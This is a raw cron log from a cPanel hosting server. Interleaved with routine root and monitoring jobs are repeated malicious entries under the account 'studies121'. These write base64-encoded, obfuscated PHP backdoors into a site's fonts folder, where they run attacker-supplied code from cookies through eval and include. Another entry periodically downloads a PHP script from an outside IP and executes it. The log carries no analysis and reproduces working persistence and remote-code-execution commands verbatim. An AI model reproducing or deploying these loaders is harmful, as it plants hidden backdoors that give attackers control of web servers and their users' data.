Sep 22 13:07:01 ip-184-168-122-23 CROND[24069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:07:01 ip-184-168-122-23 CROND[24070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:07:01 ip-184-168-122-23 CROND[24071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:07:01 ip-184-168-122-23 CROND[24076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:08:02 ip-184-168-122-23 CROND[24764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:08:02 ip-184-168-122-23 CROND[24766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:08:02 ip-184-168-122-23 CROND[24769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:08:02 ip-184-168-122-23 CROND[24770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:08:02 ip-184-168-122-23 CROND[24768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:09:01 ip-184-168-122-23 CROND[25101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:09:01 ip-184-168-122-23 CROND[25103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:09:01 ip-184-168-122-23 CROND[25104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:09:01 ip-184-168-122-23 CROND[25106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:09:01 ip-184-168-122-23 CROND[25107]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 13:10:01 ip-184-168-122-23 CROND[25485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:10:01 ip-184-168-122-23 CROND[25486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:10:01 ip-184-168-122-23 CROND[25489]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 13:10:01 ip-184-168-122-23 CROND[25492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:10:01 ip-184-168-122-23 CROND[25494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:10:01 ip-184-168-122-23 CROND[25493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:10:01 ip-184-168-122-23 CROND[25495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 13:10:01 ip-184-168-122-23 CROND[25496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 13:11:01 ip-184-168-122-23 CROND[25845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:11:01 ip-184-168-122-23 CROND[25846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:11:01 ip-184-168-122-23 CROND[25847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:11:01 ip-184-168-122-23 CROND[25848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:12:01 ip-184-168-122-23 CROND[27161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:12:01 ip-184-168-122-23 CROND[27162]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:12:01 ip-184-168-122-23 CROND[27163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:12:01 ip-184-168-122-23 CROND[27165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:12:01 ip-184-168-122-23 CROND[27164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:13:01 ip-184-168-122-23 CROND[28996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:13:01 ip-184-168-122-23 CROND[28997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:13:01 ip-184-168-122-23 CROND[28998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:13:01 ip-184-168-122-23 CROND[29000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:14:01 ip-184-168-122-23 CROND[30281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:14:01 ip-184-168-122-23 CROND[30283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:14:01 ip-184-168-122-23 CROND[30282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:14:01 ip-184-168-122-23 CROND[30285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:14:01 ip-184-168-122-23 CROND[30290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:15:01 ip-184-168-122-23 CROND[31105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 13:15:01 ip-184-168-122-23 CROND[31104]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 13:15:01 ip-184-168-122-23 CROND[31112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:15:01 ip-184-168-122-23 CROND[31111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:15:01 ip-184-168-122-23 CROND[31110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:15:01 ip-184-168-122-23 CROND[31113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:16:01 ip-184-168-122-23 CROND[31873]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:16:01 ip-184-168-122-23 CROND[31874]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 13:16:01 ip-184-168-122-23 CROND[31875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:16:01 ip-184-168-122-23 CROND[31880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:16:01 ip-184-168-122-23 CROND[31878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:16:01 ip-184-168-122-23 CROND[31881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:17:01 ip-184-168-122-23 CROND[32620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:17:01 ip-184-168-122-23 CROND[32622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:17:01 ip-184-168-122-23 CROND[32623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:17:01 ip-184-168-122-23 CROND[32624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:18:01 ip-184-168-122-23 CROND[995]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:18:01 ip-184-168-122-23 CROND[996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:18:01 ip-184-168-122-23 CROND[999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:18:01 ip-184-168-122-23 CROND[1001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:18:01 ip-184-168-122-23 CROND[1000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:19:01 ip-184-168-122-23 CROND[1802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
